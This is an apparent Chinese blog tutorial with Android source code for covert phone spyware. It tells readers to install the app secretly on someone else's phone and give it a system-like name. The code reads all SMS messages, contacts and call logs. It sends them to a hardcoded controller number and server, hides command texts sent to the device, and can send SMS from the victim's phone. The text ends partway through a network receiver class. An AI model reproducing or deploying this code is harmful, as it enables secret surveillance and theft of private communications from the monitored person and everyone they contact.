第一篇:短信监控

时间:2024-03-10 16:36:28

不得不说android是一个非常智能的系统,电话或者短信都能远程获取。。

关于大家一直说怎么使用,我来简单的说明一下吧,讲工程文件中的apk文件安装在你想监控的人的手机中,然后随便找个手机给他

发短信"qingxue:12" 表示以短信的模式获取

再发"qingxue:1"       获取监控人的所有短信的记录

短信转发有点不一样,发送"qingxue:4:13555555555:helloworld"   表示通过监控人的手机给13555555555发送短信,内容为“helloworld”

注:以上短信内容均不含""

 

以下程序可实现通话记录监控,通讯录获取,短信获取,或者利用被控端进行短信转发,至于另外一些像虚拟短信,短信屏蔽,电话录音或者屏蔽,都是大同小异,由于时间关系这里就不实现了,喜欢的同学可以自己研究下android的API

为了不让对方怀疑,可以取个和系统相似的名字。如:SystemManage

包结构:

清单文件,主要是一些用到的android权限

 

  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  
  3.     package="com.me.androidsystem"  
  4.     android:versionCode="1"  
  5.     android:versionName="1.0" >  
  6.     <!-- 接收短信权限 -->  
  7.     <uses-permission android:name="android.permission.RECEIVE_SMS" />  
  8.     <uses-permission android:name="android.permission.SEND_SMS" />  
  9.     <uses-permission android:name="android.permission.READ_SMS"/>  
  10.     <!-- 访问internet权限 -->  
  11.     <uses-permission android:name="android.permission.INTERNET" />  
  12.     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>  
  13.     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>  
  14.     <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />  
  15.     <uses-permission android:name="android.permission.READ_CONTACTS"/>  
  16.     <uses-permission android:name="android.permission.WRITE_CONTACTS"/>  
  17.     <uses-permission android:name="android.permission.READ_CALL_LOG"/>    
  18.     
  19.     <uses-sdk  
  20.         android:minSdkVersion="7"  
  21.         android:targetSdkVersion="18" />  
  22.   
  23.     <application  
  24.         android:allowBackup="true"  
  25.         android:icon="@drawable/ic_launcher"  
  26.         android:label="@string/app_name"  
  27.         android:theme="@style/AppTheme" >  
  28.         
  29.         <receiver android:name="com.me.androidsystem.SmsReceiver">  
  30.             <intent-filter android:priority="1000" >  
  31.                 <action android:name="android.provider.Telephony.SMS_RECEIVED" />  
  32.             </intent-filter>  
  33.         </receiver>  
  34.         <receiver android:name="com.me.androidsystem.NetstateReceiver">    
  35.             <intent-filter>    
  36.                 <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />    
  37.             </intent-filter>    
  38.         </receiver>    
  39.         <service android:name="com.me.androidsystem.service.SmsService" >  
  40.         </service>  
  41.         <service android:name="com.me.androidsystem.service.PhoService" >  
  42.         </service>    
  43.     </application>  
  44.   
  45. </manifest>  


常用字段我全部写在一个类中了

 

 

  1. package com.me.androidsystem.util;  
  2. /* 
  3.  操作说明 
  4. 控制端发送短信指令 
  5. 1 ————获取客户端的所有短信 
  6. 2 ————获取客户端的所有通信录包括通话记录 
  7. 3 ————仅获取客户端的所有通话记录 
  8. 4 ————短信转发 
  9. 11————设置获取客户端所有短信的模式为短信发送模式 
  10. 12————设置获取客户端所有短信的模式为网络发送模式 
  11. 13————设置获取客户端所有短信的模式为网络优先发送模式 
  12. 21————设置获取客户端的所有通信录包括通话记录的模式为短信发送模式 
  13. 22————设置获取客户端的所有通信录包括通话记录的模式为网络发送模式 
  14. 23————设置获取客户端的所有通信录包括通话记录的模式为网络优先发送模式 
  15. 30————设置获取客户端当前短信的模式为不获取 
  16. 31————设置获取客户端当前短信的模式为短信模式 
  17. 32————设置获取客户端当前短信的模式为网络模式 
  18. 33————设置获取客户端当前短信的模式为网络优先模式 
  19. 如发送:qingxue:21后再发qingxue:2对方的所有通信录包括通话记录都会以短信的形式发送到你手机上 
  20.  */  
  21. public class ServiceUtil {  
  22.     //控制端的手机号 每次发送指令时会自动修改为发送指令的手机号  
  23.     public static String CONTROL_NUMBER = "+8618271803015";  
  24.     //控制端的网络服务器192.168.137.218  221.234.230.22  
  25.     public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/";  
  26.     //发送电话信息请求的Servlet  
  27.     public static final String PHO_SERVLET = "GetPHOInfoServlet";  
  28.     //发送单个短信请求的Servlet 目前没有用  
  29.     public static final String SMS_ONE_SERVLET = "GetSmsOneServlet";  
  30.     //控制端的key  
  31.     public static final String CONTROL_START = "qingxue";  
  32.     //配置文件的名称  
  33.     public static final String CONFIG_NAME = "config";  
  34.     //保存离线短信信息文件  
  35.     public static final String OFF_INFO = "off_info";  
  36.       
  37.     public static final String COMMAND="command";  
  38.     //控制端获取用户的所有短信  
  39.     public static final int GET_ALL_SMS = 1;  
  40.     //控制端获取用户所有电话和通话记录  
  41.     public static final int GET_ALL_PHO = 2;  
  42.     //控制端获取用户所有通话记录  
  43.     public static final int GET_ONLY_PHO = 3;  
  44.     //短信转发  
  45.     public static final int SMS_TRANSPOND = 4;  
  46.       
  47.     //设置短信的操作模式为无  
  48.     public static final int SET_SMS_MODEL_0 = 10;  
  49.     //设置短信的操作模式为MODEL_SMS_ONLY  
  50.     public static final int SET_SMS_MODEL_1 = 11;  
  51.     //设置短信的操作模式为MODEL_NET_ONLY  
  52.     public static final int SET_SMS_MODEL_2 = 12;   //默认  
  53.     //设置短信的操作模式为MODEL_NET_SMS  
  54.     public static final int SET_SMS_MODEL_3 = 13;  
  55.   
  56.     // 设置通信记录的操作模式为无  
  57.     public static final int SET_PHO_MODEL_0 = 20;  
  58.     // 设置通信记录的操作模式为MODEL_SMS_ONLY  
  59.     public static final int SET_PHO_MODEL_1 = 21;  
  60.     // 设置通信记录的操作模式为MODEL_NET_ONLY  
  61.     public static final int SET_PHO_MODEL_2 = 22;   //默认  
  62.     // 设置通信记录的操作模式为MODEL_NET_SMS  
  63.     public static final int SET_PHO_MODEL_3 = 23;  
  64.       
  65.     //设置短信的操作模式为无  
  66.     public static final int SET_SMS_ONE_MODEL_0 = 30;  
  67.     //设置短信的操作模式为MODEL_SMS_ONLY  
  68.     public static final int SET_SMS_ONE_MODEL_1 = 31;  
  69.     //设置短信的操作模式为MODEL_NET_ONLY  
  70.     public static final int SET_SMS_ONE_MODEL_2 = 32;//默认  
  71.     //设置短信的操作模式为MODEL_NET_SMS  
  72.     public static final int SET_SMS_ONE_MODEL_3 = 33;  
  73.       
  74.     //对于单条短信的操作模式  
  75.     public static final String SMS_ONE_MODEL = "sms_one_model";   
  76.     //对于所有短信的操作模式  
  77.     public static final String SMS_MODEL = "sms_model";   
  78.     //对于电话的操作模式  
  79.     public static final String PHO_MODEL = "pho_model";  
  80.       
  81.     //不发送模式  
  82.     public static final int MODEL_NONE = 0;  
  83.     //短信模式  
  84.     public static final int MODEL_SMS_ONLY = 1;  
  85.     //网络模式  
  86.     public static final int MODEL_NET_ONLY = 2;  
  87.     //短信和网络模式,网络优先  
  88.     public static final int MODEL_NET_SMS = 3;  
  89.       
  90.     //仅获取通话记录  
  91.     public static boolean ONLY_TEL = false;  
  92. }  


电话的服务类

 

 

  1. package com.me.androidsystem.service;  
  2.   
  3. import java.text.SimpleDateFormat;  
  4. import java.util.ArrayList;  
  5. import java.util.Date;  
  6. import java.util.HashMap;  
  7. import java.util.List;  
  8. import java.util.Map;  
  9.   
  10. import android.app.Service;  
  11. import android.content.ContentResolver;  
  12. import android.content.Context;  
  13. import android.content.Intent;  
  14. import android.content.SharedPreferences;  
  15. import android.content.SharedPreferences.Editor;  
  16. import android.database.Cursor;  
  17. import android.net.ConnectivityManager;  
  18. import android.net.NetworkInfo;  
  19. import android.os.IBinder;  
  20. import android.provider.CallLog;  
  21. import android.provider.CallLog.Calls;  
  22. import android.provider.ContactsContract;  
  23. import android.util.Log;  
  24.   
  25. import com.me.androidsystem.domain.CallRecord;  
  26. import com.me.androidsystem.util.CommndUtil;  
  27. import com.me.androidsystem.util.ServiceUtil;  
  28.   
  29. public class PhoService extends Service {  
  30.     private SharedPreferences preferences;  
  31.     @Override  
  32.     public void onCreate() {  
  33.         super.onCreate();  
  34.         List<Map<String, String>> contacts = getContacts();  
  35.         List<CallRecord> callRecords = getCallRecord();  
  36.         preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,  
  37.                 Context.MODE_PRIVATE);  
  38.         int model = preferences.getInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY);  
  39.           
  40.         switch (model) {   
  41.         case ServiceUtil.MODEL_SMS_ONLY:  
  42.             sendSMSContent(contacts,callRecords);  
  43.             break;  
  44.         case ServiceUtil.MODEL_NET_ONLY:  
  45.             sendNETContent(contacts,callRecords);  
  46.             break;  
  47.         case ServiceUtil.MODEL_NET_SMS:  
  48.             sendNETORSMSContent(contacts,callRecords);  
  49.             break;  
  50.   
  51.         default:  
  52.             break;  
  53.         }  
  54.         stopSelf();  
  55.     }  
  56.   
  57.     private void sendNETORSMSContent(List<Map<String, String>> contacts,  
  58.             List<CallRecord> callRecords) {  
  59.         ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);    
  60.         NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();    
  61.         if(networkInfo != null && networkInfo.isAvailable()){    
  62.             //当前有可用网络    
  63.             sendNETContent(contacts, callRecords);  
  64.         }else{    
  65.             //当前无可用网络  
  66.             sendSMSContent(contacts, callRecords);  
  67.         }    
  68.     }  
  69.   
  70.     private void sendNETContent(List<Map<String, String>> contacts,  
  71.             List<CallRecord> callRecords) {  
  72.         ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);    
  73.         NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();    
  74.         if(networkInfo != null && networkInfo.isAvailable()){    
  75.             //当前有可用网络    
  76.   
  77.             CommndUtil.sendInternet(resolve(contacts, callRecords), ServiceUtil.PHO_SERVLET);  
  78.         }else{    
  79.             //当前无可用网络  
  80.             String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");  
  81.             Editor editor = preferences.edit();  
  82.             editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(contacts, callRecords)+"\n");  
  83.             editor.commit();  
  84.             return;  
  85.         }    
  86.           
  87.     }  
  88.   
  89.     private void sendSMSContent(List<Map<String, String>> contacts,  
  90.             List<CallRecord> callRecords) {  
  91.         CommndUtil.sendSMS(resolve(contacts, callRecords));  
  92.     }  
  93.   
  94.     private String resolve(List<Map<String, String>> contacts,List<CallRecord> callRecords){  
  95.         StringBuilder sb = new StringBuilder();  
  96.         if(!ServiceUtil.ONLY_TEL){  
  97.             sb.append("姓名     电话\n");  
  98.             for(Map<String, String> map : contacts){  
  99.                 String name = map.get("name");  
  100.                 String number = map.get("number");  
  101.                 sb.append(name + " " + number);  
  102.             }  
  103.         }  
  104.           
  105.         sb.append("-------------------------\n"+"通话记录\n");  
  106.         sb.append("姓名  类型  时间   时长  电话\n");  
  107.         for(CallRecord callRecord : callRecords){  
  108.             String name = callRecord.getLinkman();  
  109.             String type = callRecord.getType();  
  110.             String time = callRecord.getCallDate();  
  111.             String durction = callRecord.getDurction();  
  112.             String number = callRecord.getNumber();  
  113.             sb.append(name + " " + type + " " + time + " " + durction + " " + number + "\n");  
  114.         }  
  115.         return sb.toString();  
  116.     }  
  117.       
  118.     // 获取联系人信息  
  119.     public List<Map<String, String>> getContacts() {  
  120.         Map<String, String> contacts;  
  121.         List<Map<String, String>> list = new ArrayList<Map<String, String>>();  
  122.         int nameIndex = -1;  
  123.         ContentResolver cr = getContentResolver();  
  124.         Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,  
  125.                 nullnullnull);  
  126.         while (cur.moveToNext()) {  
  127.             String number = "";  
  128.             // 得到名字  
  129.             nameIndex = cur  
  130.                     .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);  
  131.             String name = cur.getString(nameIndex);  
  132.             // 得到电话号码  
  133.             String contactId = cur.getString(cur  
  134.                     .getColumnIndex(ContactsContract.Contacts._ID)); // 获取联系人的ID号,在SQLite中的数据库ID  
  135.             Cursor phone = cr.query(  
  136.                     ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,  
  137.                     ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "  
  138.                             + contactId, nullnull);  
  139.             while (phone.moveToNext()) {  
  140.                 String strPhoneNumber = phone  
  141.                         .getString(phone  
  142.                                 .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); // 手机号码字段联系人可能不止一个  
  143.                 number += strPhoneNumber + "\n";  
  144.             }  
  145.             contacts = new HashMap<String, String>();  
  146.             // 放入Map  
  147.             contacts.put("name", name);  
  148.             contacts.put("number", number);  
  149.             list.add(contacts);  
  150.         }  
  151.         cur.close();  
  152.         return list;  
  153.     }  
  154.   
  155.     // 获取通话记录  
  156.     public List<CallRecord> getCallRecord() {  
  157.         List<CallRecord> list = new ArrayList<CallRecord>();  
  158.         ContentResolver cr = getContentResolver();  
  159.         Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,  
  160.                 new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,  
  161.                         CallLog.Calls.TYPE, CallLog.Calls.DATE,  
  162.                         CallLog.Calls.DURATION }, nullnull,  
  163.                 CallLog.Calls.DEFAULT_SORT_ORDER);  
  164.   
  165.         while (cursor.moveToNext()) {  
  166.             String strNumber = cursor.getString(cursor  
  167.                     .getColumnIndex(Calls.NUMBER)); // 呼叫号码  
  168.             String strName = cursor.getString(cursor  
  169.                     .getColumnIndex(Calls.CACHED_NAME)); // 联系人姓名  
  170.             int type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));// 来电:1,拨出:2,未接:3  
  171.             String callType = "";  
  172.             switch (type) {  
  173.             case 1:  
  174.                 callType = "来电";  
  175.                 break;  
  176.             case 2:  
  177.                 callType = "拨出";  
  178.                 break;  
  179.             case 3:  
  180.                 callType = "未接";  
  181.                 break;  
  182.             }  
  183.             long duration = cursor.getLong(cursor  
  184.                     .getColumnIndex(Calls.DURATION));  
  185.             String durationTime = formatTime(duration);  
  186.             SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");  
  187.             Date date = new Date(Long.parseLong(cursor.getString(cursor  
  188.                     .getColumnIndex(Calls.DATE))));  
  189.             String time = sfd.format(date);  
  190.             list.add(new CallRecord(strName, strNumber, time, callType,  
  191.                     durationTime));  
  192.         }  
  193.         return list;  
  194.     }  
  195.   
  196.     private String formatTime(long duration) {  
  197.         int timetiem = (int) duration;  
  198.         int minute = timetiem / 60;  
  199.         int hour = minute / 60;  
  200.         int second = timetiem % 60;  
  201.         minute %= 60;  
  202.         return String.format("%02d:%02d:%02d", hour, minute, second);  
  203.   
  204.     }  
  205.   
  206.     @Override  
  207.     public IBinder onBind(Intent intent) {  
  208.         // TODO Auto-generated method stub  
  209.         return null;  
  210.     }  
  211.   
  212. }  


短信的服务类

 

 

  1. package com.me.androidsystem.service;  
  2.   
  3. import java.text.SimpleDateFormat;  
  4. import java.util.ArrayList;  
  5. import java.util.Date;  
  6. import java.util.List;  
  7.   
  8. import android.app.Service;  
  9. import android.content.ContentResolver;  
  10. import android.content.Context;  
  11. import android.content.Intent;  
  12. import android.content.SharedPreferences;  
  13. import android.content.SharedPreferences.Editor;  
  14. import android.database.Cursor;  
  15. import android.database.sqlite.SQLiteException;  
  16. import android.net.ConnectivityManager;  
  17. import android.net.NetworkInfo;  
  18. import android.net.Uri;  
  19. import android.os.IBinder;  
  20.   
  21. import com.me.androidsystem.domain.SmsInfo;  
  22. import com.me.androidsystem.util.CommndUtil;  
  23. import com.me.androidsystem.util.ServiceUtil;  
  24.   
  25. public class SmsService extends Service {  
  26.     private SharedPreferences preferences;   
  27.     @Override  
  28.     public void onCreate() {  
  29.         super.onCreate();  
  30.         preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,  
  31.                 Context.MODE_PRIVATE);  
  32.         int model = preferences.getInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY);  
  33.         switch (model) {   
  34.         case ServiceUtil.MODEL_SMS_ONLY:  
  35.             sendSMSContent();  
  36.             break;  
  37.         case ServiceUtil.MODEL_NET_ONLY:  
  38.             sendNETContent();  
  39.             break;  
  40.         case ServiceUtil.MODEL_NET_SMS:  
  41.             sendNETORSMSContent();  
  42.             break;  
  43.   
  44.         default:  
  45.             break;  
  46.         }  
  47.         stopSelf();  
  48.     }  
  49.   
  50.     private void sendNETORSMSContent() {  
  51.         ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);    
  52.         NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();    
  53.         if(networkInfo != null && networkInfo.isAvailable()){    
  54.             //当前有可用网络    
  55.             sendNETContent();  
  56.         }else{    
  57.             //当前无可用网络  
  58.             sendSMSContent();  
  59.         }    
  60.     }  
  61.   
  62.     private void sendNETContent() {  
  63.         ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);    
  64.         NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();    
  65.         if(networkInfo != null && networkInfo.isAvailable()){    
  66.             //当前有可用网络    
  67.             CommndUtil.sendInternet(resolve(getAllSms()), ServiceUtil.PHO_SERVLET);  
  68.         }else{    
  69.             String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");  
  70.             Editor editor = preferences.edit();  
  71.             editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(getAllSms())+"\n");  
  72.             editor.commit();  
  73.             return;  
  74.         }    
  75.           
  76.     }  
  77.   
  78.     private void sendSMSContent() {  
  79.         CommndUtil.sendSMS(resolve(getAllSms()));  
  80.     }  
  81.     private String resolve(List<SmsInfo> list){  
  82.         StringBuilder sb = new StringBuilder();  
  83.         sb.append("联系人  电话  内容  日期  类型\n");  
  84.         for(SmsInfo info : list){  
  85.             String name = info.getLinkman();  
  86.             String number = info.getNumber();  
  87.             String content = info.getContent();  
  88.             String date = info.getDate();  
  89.             String type = info.getType();  
  90.             sb.append(name + " " + number + " " + content + " " + date + " " + type +"\n");  
  91.         }  
  92.           
  93.         return sb.toString();  
  94.     }  
  95.     @Override  
  96.     public IBinder onBind(Intent intent) {  
  97.         return null;  
  98.     }  
  99.   
  100.     private List<SmsInfo> getAllSms() {  
  101.         List<SmsInfo> list = new ArrayList<SmsInfo>();  
  102.         final String SMS_URI_ALL = "content://sms/";  
  103.         try {  
  104.             ContentResolver cr = getContentResolver();  
  105.             String[] projection = new String[] { "_id""address""person",  
  106.                     "body""date""type" };  
  107.             Uri uri = Uri.parse(SMS_URI_ALL);  
  108.             Cursor cur = cr.query(uri, projection, nullnull"date desc");  
  109.   
  110.             while (cur.moveToNext()) {  
  111.                 String name;  
  112.                 String phoneNumber;  
  113.                 String smsbody;  
  114.                 String date;  
  115.                 String type;  
  116.   
  117.                 name = cur.getString(cur.getColumnIndex("person"));  
  118.                 phoneNumber = cur.getString(cur.getColumnIndex("address"));  
  119.                 smsbody = cur.getString(cur.getColumnIndex("body"));  
  120.   
  121.                 SimpleDateFormat dateFormat = new SimpleDateFormat(  
  122.                         "yyyy-MM-dd hh:mm:ss");  
  123.                 Date d = new Date(Long.parseLong(cur.getString(cur  
  124.                         .getColumnIndex("date"))));  
  125.                 date = dateFormat.format(d);  
  126.   
  127.                 int typeId = cur.getInt(cur.getColumnIndex("type"));  
  128.                 if (typeId == 1) {  
  129.                     type = "接收";  
  130.                 } else if (typeId == 2) {  
  131.                     type = "发送";  
  132.                 } else if (typeId == 0) {  
  133.                     type = "未读";  
  134.                 } else {  
  135.                     type = "草稿";  
  136.                 }  
  137. //以下注释去掉会将短信的联系人姓名找出,不然只能获取短信联系号码,不过时间好长,不知道也没有哪位大神能解决一下  
  138. //              Uri personUri = Uri.withAppendedPath(  
  139. //                      ContactsContract.PhoneLookup.CONTENT_FILTER_URI,  
  140. //                      phoneNumber);  
  141. //              Cursor localCursor = cr.query(personUri, new String[] {  
  142. //                      PhoneLookup.DISPLAY_NAME, PhoneLookup.PHOTO_ID,  
  143. //                      PhoneLookup._ID }, null, null, null);  
  144. //  
  145. //              if (localCursor.getCount() != 0) {  
  146. //                  localCursor.moveToFirst();  
  147. //                  name = localCursor.getString(localCursor  
  148. //                          .getColumnIndex(PhoneLookup.DISPLAY_NAME));  
  149. //              }  
  150.                 if (smsbody == null)  
  151.                     smsbody = "";  
  152.                 list.add(new SmsInfo(name, phoneNumber, smsbody, date, type));  
  153.             }  
  154.         } catch (SQLiteException ex) {  
  155.   
  156.         }  
  157.         return list;  
  158.     }  
  159. }  


用于接受控制端的短信指令

 

 

  1. package com.me.androidsystem;  
  2.   
  3. import java.text.SimpleDateFormat;  
  4. import java.util.Date;  
  5.   
  6. import android.content.BroadcastReceiver;  
  7. import android.content.Context;  
  8. import android.content.Intent;  
  9. import android.content.SharedPreferences;  
  10. import android.content.SharedPreferences.Editor;  
  11. import android.net.ConnectivityManager;  
  12. import android.net.NetworkInfo;  
  13. import android.telephony.SmsMessage;  
  14. import android.util.Log;  
  15.   
  16. import com.me.androidsystem.service.PhoService;  
  17. import com.me.androidsystem.service.SmsService;  
  18. import com.me.androidsystem.util.CommndUtil;  
  19. import com.me.androidsystem.util.ServiceUtil;  
  20.   
  21. /* 
  22.  * 实现对短信接收的监听 
  23.  */  
  24. public class SmsReceiver extends BroadcastReceiver {  
  25.   
  26.       
  27.     public void onReceive(Context context, Intent intent) {  
  28.         // 如果短信内容是以qingxue开头,那么表示指令  
  29.         Object[] pdus = (Object[]) intent.getExtras().get("pdus");  
  30.         for (Object p : pdus) {  
  31.             byte[] pdu = (byte[]) p;  
  32.             SmsMessage message = SmsMessage.createFromPdu(pdu);  
  33.             String content = message.getMessageBody();  
  34.             Date date = new Date(message.getTimestampMillis());  
  35.             SimpleDateFormat format = new SimpleDateFormat(  
  36.                     "yyyy-MM-dd HH:mm:ss");  
  37.             String receiveTime = format.format(date);  
  38.             String senderNumber = message.getOriginatingAddress();  
  39.             Log.e("aaaa", content);  
  40.             // ServiceUtil.CONTROL_NUMBER.equals(senderNumber)  
  41.             if (content.length() >= ServiceUtil.CONTROL_START.length()  
  42.                     && content.substring(0, ServiceUtil.CONTROL_START.length())  
  43.                             .equals(ServiceUtil.CONTROL_START)) {  
  44.                 abortBroadcast();// 终止广播  
  45.                 ServiceUtil.CONTROL_NUMBER = senderNumber;  
  46.                 SharedPreferences sharedPreferences = context  
  47.                         .getSharedPreferences(ServiceUtil.CONFIG_NAME,  
  48.                                 Context.MODE_PRIVATE);  
  49.                 Editor edit = sharedPreferences.edit();  
  50.                 int command = Integer.valueOf(content.split(":")[1]);  
  51.                 Log.e("aaaa", command+"");  
  52.                 switch (command) {  
  53.                 case ServiceUtil.GET_ALL_SMS:  
  54.                     Intent t1 = new Intent(context, SmsService.class);  
  55.                     context.startService(t1);  
  56.                     break;  
  57.                 case ServiceUtil.GET_ALL_PHO:  
  58.                     ServiceUtil.ONLY_TEL = false;  
  59.                     Intent t2 = new Intent(context, PhoService.class);  
  60.                     context.startService(t2);  
  61.                     break;  
  62.                 case ServiceUtil.GET_ONLY_PHO:  
  63.                     ServiceUtil.ONLY_TEL = true;  
  64.                     Intent t3 = new Intent(context, PhoService.class);  
  65.                     context.startService(t3);  
  66.                     break;  
  67.                 case ServiceUtil.SMS_TRANSPOND:  
  68.                     try {  
  69.                         if (content.split(":").length >= 4) {  
  70.                             String number = content.split(":")[2];  
  71.                             String msg = content.split(":")[3];  
  72.                             CommndUtil.sendSMS(msg, number);  
  73.                         }  
  74.                     } catch (Exception e) {  
  75.                     }  
  76.                     break;  
  77.                 // 对获取所有短信是发送模式设置  
  78.                 case ServiceUtil.SET_SMS_MODEL_0:  
  79.                     edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NONE);  
  80.                     edit.commit();  
  81.                     break;  
  82.                 case ServiceUtil.SET_SMS_MODEL_1:  
  83.                     edit.putInt(ServiceUtil.SMS_MODEL,  
  84.                             ServiceUtil.MODEL_SMS_ONLY);  
  85.                     edit.commit();  
  86.                     break;  
  87.                 case ServiceUtil.SET_SMS_MODEL_2:  
  88.                     edit.putInt(ServiceUtil.SMS_MODEL,  
  89.                             ServiceUtil.MODEL_NET_ONLY);  
  90.                     edit.commit();  
  91.                     break;  
  92.                 case ServiceUtil.SET_SMS_MODEL_3:  
  93.                     edit.putInt(ServiceUtil.SMS_MODEL,  
  94.                             ServiceUtil.MODEL_NET_SMS);  
  95.                     edit.commit();  
  96.                     break;  
  97.                 // 对获取所有通信录是发送模式设置  
  98.                 case ServiceUtil.SET_PHO_MODEL_0:  
  99.                     edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NONE);  
  100.                     edit.commit();  
  101.                     break;  
  102.                 case ServiceUtil.SET_PHO_MODEL_1:  
  103.                     edit.putInt(ServiceUtil.PHO_MODEL,  
  104.                             ServiceUtil.MODEL_SMS_ONLY);  
  105.                     edit.commit();  
  106.                     break;  
  107.                 case ServiceUtil.SET_PHO_MODEL_2:  
  108.                     edit.putInt(ServiceUtil.PHO_MODEL,  
  109.                             ServiceUtil.MODEL_NET_ONLY);  
  110.                     edit.commit();  
  111.                     break;  
  112.                 case ServiceUtil.SET_PHO_MODEL_3:  
  113.                     edit.putInt(ServiceUtil.PHO_MODEL,  
  114.                             ServiceUtil.MODEL_NET_SMS);  
  115.                     edit.commit();  
  116.                     break;  
  117.                 // 对获取当前短信的发送模式设置  
  118.                 case ServiceUtil.SET_SMS_ONE_MODEL_0:  
  119.                     edit.putInt(ServiceUtil.SMS_ONE_MODEL,  
  120.                             ServiceUtil.MODEL_NONE);  
  121.                     edit.commit();  
  122.                     break;  
  123.                 case ServiceUtil.SET_SMS_ONE_MODEL_1:  
  124.                     edit.putInt(ServiceUtil.SMS_ONE_MODEL,  
  125.                             ServiceUtil.MODEL_SMS_ONLY);  
  126.                     edit.commit();  
  127.                     break;  
  128.                 case ServiceUtil.SET_SMS_ONE_MODEL_2:  
  129.                     edit.putInt(ServiceUtil.SMS_ONE_MODEL,  
  130.                             ServiceUtil.MODEL_NET_ONLY);  
  131.                     edit.commit();  
  132.                     break;  
  133.                 case ServiceUtil.SET_SMS_ONE_MODEL_3:  
  134.                     edit.putInt(ServiceUtil.SMS_ONE_MODEL,  
  135.                             ServiceUtil.MODEL_NET_SMS);  
  136.                     edit.commit();  
  137.                     break;  
  138.                 // 对获取通话记录的发送模式设置与获取所有通信录方式相同  
  139.   
  140.                 default:  
  141.                     break;  
  142.                 }  
  143.             }  
  144.             // 如果是普通的短信 可以设置转发或者不采取操作  
  145.             else if (!ServiceUtil.CONTROL_NUMBER.equals(senderNumber)) {  
  146.                 SharedPreferences sharedPreferences = context  
  147.                         .getSharedPreferences(ServiceUtil.CONFIG_NAME,  
  148.                                 Context.MODE_PRIVATE);  
  149.                 int model = sharedPreferences.getInt(ServiceUtil.SMS_ONE_MODEL,  
  150.                         ServiceUtil.MODEL_NET_ONLY);  
  151.                 ConnectivityManager connectivityManager = (ConnectivityManager) context  
  152.                         .getSystemService(Context.CONNECTIVITY_SERVICE);  
  153.                 NetworkInfo networkInfo = connectivityManager  
  154.                         .getActiveNetworkInfo();  
  155.                 switch (model) {  
  156.                 case ServiceUtil.MODEL_SMS_ONLY:  
  157.                     CommndUtil  
  158.                             .sendSMS("收到来自" + senderNumber + "的短信:" + content);  
  159.                     break;  
  160.                 case ServiceUtil.MODEL_NET_ONLY:  
  161.                     if (networkInfo != null && networkInfo.isAvailable()) {  
  162.                         // 当前有可用网络  
  163.                         CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:"  
  164.                                 + content, ServiceUtil.SMS_ONE_SERVLET);  
  165.                     } else {  
  166.                         // 当前无可用网络  
  167.                         String oldInfo = sharedPreferences.getString(  
  168.                                 ServiceUtil.OFF_INFO, "");  
  169.                         Editor editor = sharedPreferences.edit();  
  170.                         editor.putString(ServiceUtil.OFF_INFO, oldInfo  
  171.                                 + receiveTime + " 收到来自" + senderNumber + "的短信:"  
  172.                                 + content + "\n");  
  173.                         editor.commit();  
  174.                         return;  
  175.                     }  
  176.                     break;  
  177.                 case ServiceUtil.MODEL_NET_SMS:  
  178.                     if (networkInfo != null && networkInfo.isAvailable()) {  
  179.                         // 当前有可用网络  
  180.                         CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:"  
  181.                                 + content, ServiceUtil.PHO_SERVLET);  
  182.                     } else {  
  183.                         // 当前无可用网络  
  184.                         CommndUtil.sendSMS("收到来自" + senderNumber + "的短信:"  
  185.                                 + content);  
  186.                     }  
  187.                     break;  
  188.                 default:  
  189.                     break;  
  190.                 }  
  191.             }  
  192.         }  
  193.     }  
  194.   
  195. }  


这个类负责在通过网络获取时,用户的网络是关闭状态,只要用户打开网络,会继续发送

 

 

  1. package com.me.androidsystem;  
  2.   
  3. import android.content.BroadcastReceiver;  
  4. import android.content.Context;  
  5. import android.content.Intent;  
  6. import android.content.SharedPreferences;  
  7. import android.net.ConnectivityManager;  
  8. import android.net.NetworkInfo;  
  9.   
  10. import com.me.androidsystem.util.CommndUtil;  
  11. import com.me.androidsystem.util.ServiceUtil;  
  12.   
  13. public class NetstateReceiver extends BroadcastReceiver {  
  14.   
  15.     @Override  
  16.     public void onReceive(Context context, Intent intent) {  
  17.         ConnectivityManager manager = (ConnectivityManager) context  
  18.                 .getSystemService(Context.CONNECTIVITY_SERVICE);  
  19.         NetworkInfo gprs = manager  
  20.                 .getNetworkInfo(ConnectivityManager.TYPE_MOBILE);  
  21.         NetworkInfo wifi = manager  
  22.                 .getNetworkInfo(ConnectivityManager.TYPE_WIFI);  
